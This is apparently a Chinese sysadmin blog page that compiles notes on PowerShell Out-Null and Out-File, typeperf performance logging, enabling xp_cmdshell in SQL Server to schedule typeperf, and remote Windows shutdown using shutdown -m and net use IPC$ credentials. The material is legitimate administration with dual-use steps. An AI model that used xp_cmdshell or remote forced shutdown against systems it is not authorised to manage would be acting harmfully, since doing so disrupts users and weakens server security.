Out- Host命令,就是将显示结果返回给宿主程序,由宿主程序展现给使用者。Out-Default默认就是使用Out-Host进行输出,但是根据 PowerShell文档的描述,Out-Default用来提供一种占位符的特性,你可以在脚本完成后,重新修改Out-Default来控制整个程序 的输出。
Out-Null的作用就是将输出丢弃,在很多时候,如果我们不关心命令的返回结果,而只关一条命令产生的某些影响时,我们可以将该命令的输出通过管道发送给Out-Null。例如:
PS C:\> New-Item TestIt -Type dir
    Directory: Microsoft.PowerShell.Core\FileSystem::C:\
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2007-9-16     21:10            TestIt
PS C:\> New-Item TestIt -Type dir | Out-Null
New-Item : Item with specified name C:\TestIt already exists.
At line:1 char:9
+ New-Item  <<<< TestIt -Type dir | Out-Null
PS C:\> Remove-Item TestIt
PS C:\> New-Item TestIt -Type dir | Out-Null
PS C:\>
我 们首先创建了TestIt的目录,默认情况下,New-Item返回新创建的目录,该对象被输出到控制台上。我们接下来试图再创建一次该目录,并将输出信 息丢弃。然而,由于该目录已经存在,因此创建失败,命令给出了错误提示。这里我们需要注意错误信息并没有被丢弃!接下来我们删除目录TestIt,再次执 行创建命令,这次,屏幕上没有显示创建的目录信息。
最后,我们来看看Out-File。很多时候,我们需要将某种编码的字符串存储为其他编码形 式。我们可以简单的使用Out-File的参数Encoding来设置输出信息的编码格式。这些编码包括了:“Unicode”、“UTF7”、 “UTF8”、“UTF32”、“ASCII”等等。有时候,我们还会遇到如果将信息写入文件中。如果该文件已经存在,我们可能希望信息继续追加到文件的 末尾,或者当文件已经存在时,我们希望覆盖这个文件。通过参数Append,我们可以告诉Out-File究竟是覆盖文件,还是在文件的末尾进行追加。让 我们看看简单的例子:
PS C:\> "我是第一行!" | Out-File append.txt
PS C:\> Get-Content C:\append.txt
我是第一行!
PS C:\> "我是第二行,但是我要试试覆盖第一个行!!" | Out-File append.txt
PS C:\> Get-Content C:\append.txt
我是第二行,但是我要试试覆盖第一个行!!
PS C:\> "我是第三行,让我跟在第二行后面吧!!!" | Out-File -Append append.txt
PS C:\> Get-Content C:\append.txt
我是第二行,但是我要试试覆盖第一个行!!
我是第三行,让我跟在第二行后面吧!!!

 

获取windows所有的性能计数器

C:\Documents and Settings\Administrator>perfmon 
C:\Documents and Settings\Administrator>perfmon.msc

C:\Users\Administrator>typeperf 
缺少参数: <counter [counter ...]>
缺少参数: -cf <filename>
缺少参数: -q [object]
缺少参数: -qx [object]

命令的语法不正确。

C:\Users\Administrator>typeperf  /? 

Microsoft ® TypePerf.exe (6.1.7600.16385)

Typeperf 将性能数据写入命令窗口或日志文件。要停止 Typeperf,请按 CTRL+C.

用法:
typeperf { <counter [counter ...]> | -cf <filename> | -q [object]
                                | -qx [object] } [options]

参数:
  <counter [counter ...]>       要监视的性能计数器。

选项:
  -?                            显示跟上下文相关的帮助。
  -f <CSV|TSV|BIN|SQL>          输出文件格式。默认值是 CSV。
  -cf <filename>                含有监视的性能计数器的文件,一个计数器一行。
  -si <[[hh:]mm:]ss>            示例间的时间。默认值是 1 秒。
  -o <filename>                 输出文件或 SQL 数据库的路径。默认值为 STDOUT。
  -q [object]                   列出已安装的计数器(无实例)。要列出某个对象的
                                计数器,包括对象名,如 Processor。
  -qx [object]                  列出已安装的计数器(带实例)。要列出某个对象的
                                计数器,包括对象名,如 Processor。
  -sc <samples>                 要收集的示例数量。默认值为,在 CTRL+C 之前都
                                进行采样。
  -config <filename>            含有命令选项的设置文件。
  -s <computer_name>            在计数器路径中没有指定服务器的情况下要监视的
                                服务器。
  -y                            不用提示对所有问题都回答 yes。

注意:
  Counter 是性能计数器的全名,格式为
  "\\<Computer>\<Object>(<Instance>)\<Counter>";
  例如 "\\Server1\Processor(0)\% User Time"。

示例:
  typeperf "\Processor(_Total)\% Processor Time"
  typeperf -cf counters.txt -si 5 -sc 50 -f TSV -o domain2.tsv
  typeperf -qx PhysicalDisk -o counters.txt

http://niyunjiu.iteye.com/blog/322879

C:\Users\07121038> typeperf –qx

http://support.microsoft.com/kb/934809

C:\Users\07121038> typeperf-f CSV-cf counters.txt-si 15-sc 5760-o OutputFile -y

 

利用typeperf工具收集SQL Server性能数据

http://xiaoer-1982.iteye.com/blog/497786

一.利用 TypePerf.exe 命令行工具把 Windows 操作系统的性能计数器数据记录到数据库中 <?XML:NAMESPACE PREFIX = O />

 

可以在作业中建立以下脚本

1. 启用 xp_cmdshell

-- 默认情况下 ,sql server2005 安装完后 ,xp_cmdshell 是禁用的 ( 可能是安全考虑 ), 如果要使用它 , 可按以下步骤

 

-- 允许配置高级选项

EXEC sp_configure 'show advanced options' , 1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用 xp_cmdshell

EXEC sp_configure 'xp_cmdshell' , 1

GO

-- 重新配置

RECONFIGURE

GO

 

2. 定时开启, 开始记录性能计数器日志

-- 实现的功能:将 “MyCounters.txt” 文件中列出的计数器,按照每秒钟的时间间隔,记录到 SQL 数据库中,"SQL:SystemLog!TestSystemLog" 为 ODBC 数据源建立的系统 DSN

EXEC xp_cmdshell 'typeperf -cf c:\MyCounters.txt -si 5 -f SQL -o SQL:SystemLog!TestSystemLog'

 

--"MyCounters.txt" 可以利用下面的命令在 CMD 命令窗口中执行后生成

TYPEPERF - qx "Processor" >> c: \MyCounters. txt

 

3. 定时关闭

-- 结束 typeperf.exe 的进程

EXEC xp_cmdshell 'tskill typeperf'

 

4. 关闭 xp_cmdshell

-- 用完后 , 要记得将 xp_cmdshell 禁用 ( 出于安全考虑 )

-- 允许配置高级选项

EXEC sp_configure 'show advanced options' , 1

GO

-- 重新配置

RECONFIGURE

GO

-- 禁用 xp_cmdshell

EXEC sp_configure 'xp_cmdshell' , 0

GO

-- 重新配置

RECONFIGURE

GO

 

5. 利用数据库中记录的日志分析性能数据

 

二.带来的好处:

1. 可以根据计划定时抓取 服务器性能数据 包括 CPU 、内存和磁盘利用率以及 SQL Server 特定数据。为数据库服务器的性能分析提供帮助。

 

2. 可以根据数据库中记录的日志结合 Reporting Service 绘制性能分析的报表。

 

 

3. 可以定制作业实现自动化

 

 

三.带来的影响:

1. 会增加服务器的负载,在测试时观察了一下这个命令的开销,基本上启动后 8M 左右的内存运行,开销比较小

 

另外:如果考虑实施的话,可以新建一个数据库(专门用于监控服务器性能等的表),便于维护和管理

TypePerf收集服务器性能

http://yangzhiyong77.iteye.com/blog/1413446

TypePerf.exe这个命令行工具可以收集服务器性能数据

--1.查找和数据库JinRiDomesticOrder相关的性能参数

TYPEPERF -qx "SQLServer:Databases" | FIND "testr"


--2.查找和数据库JinRiDomesticOrder相关的性能参数并导出

TYPEPERF -qx "SQLServer:Databases" | FIND "test" >>s:\perf.txt

--3.perf.txt这个文本文件中读取计数器信息,将技术器数值写入到perf.csv文件中,每隔10秒钟执行一次,共执行600次

TYPEPERF -f CSV -o s:\perf.csv -si 10 -cf s:\perf.txt -sc 600

C:\Users\07121038>typeperf /?

  Counter 是性能计数器的全名,格式为
  "\\<Computer>\<Object>(<Instance>)\<Counter>";
  例如 "\\Server1\Processor(0)\% User Time"。

示例:
  typeperf "\Processor(_Total)\% Processor Time"
  typeperf -cf counters.txt -si 5 -sc 50 -f TSV -o domain2.tsv
  typeperf -qx PhysicalDisk -o counters.txt

 

使用shutdown命令实现远程关机 

http://blog.sina.com.cn/s/blog_727db83f0100x4rb.html

    WindowsXP、Windows2003的shutdown.exe程序位于System32文件夹中(Windows2000默认没有这个命令,不过复制过来就行)。

基本用法:

shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy]

        没有参数                显示此消息(与 ? 相同)

        -i                      显示 GUI 界面,必须是第一个选项

        -l                      注销(不能与选项 -m 一起使用)

        -s                      关闭此计算机

        -r                      关闭并重启动此计算机

        -a                      放弃系统关机

        -m \\computername       远程计算机关机/重启动/放弃

        -t xx                   设置关闭的超时为 xx 秒

        -c "comment"            关闭注释(最大 127 个字符)

        -f                      强制运行的应用程序关闭而没有警告

        -d [u][p]:xx:yy         关闭原因代码

                                u 是用户代码

                                p 是一个计划的关闭代码

                                xx 是一个主要原因代码(小于 256 的正整数)

                                yy 是一个次要原因代码(小于 65536 的正整数)

例子:

1)30秒后自动关机

  >shutdown -s

  这个会弹出自动关机对话框,默认30秒后关机

2)1小时后自动关机

  >shutdown -s -t 3600

3)晚上10点钟自动关机

  >at 22:00 shutdown -s

  这个会显示类似“新加了一项作业,其作业 ID = 1”的信息,并添加一条关机任务。

4)远程pc重启

  >shutdown -m \\[ip地址或计算机名] -r

  如果远程pc没开机或网络连接不到,会提示“找不到网络路径。”;

  如果远程pc已经被锁定,会提示“计算机已经锁定而且不使用强制选项无法关机。”,添加-f选项即可;

  如果命令运行成功,远程pc会显示自动关机对话框,默认有30秒的等待;

  如果后悔了,可以运行“>shutdown -m \\[ip地址或计算机名] -a”取消;

  如果没有远程关闭的权限,会提示“拒绝访问。”,需要参考下面的说明开放远程关机权限。

远程关机权限的获取:

1)修改远程pc的“本地安全策略”,为指定的用户开放权限

  在Windows XP默认的安全策略中,只有Administrators组的用户才有权从远端关闭计算机,如果要给xxxx用户远程关机的权限。可利用Windows XP的“组策略”或“管理工具”中的“本地安全策略”来实现。 

  1.命令行运行gpedit.msc打开“组策略编辑器“;

  2.导航到“计算机配置/Windows 设置/安全设置/本地策略/用户权利指派”; 

  3.修改“从远端系统强制关机”,添加xxxx用户即可。

2)获得远程IPC管理权限

如果配置第一步后还出现“拒绝访问。”,则需要在运行shutdown命令前先运行如下命令

net use \\[ip地址或计算机名]\ipc$ password /user:xxxx

其中password为帐号xxxx的登录密码。

 

 


end

  • 大小: 77.4 KB
  • 大小: 5.4 KB
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics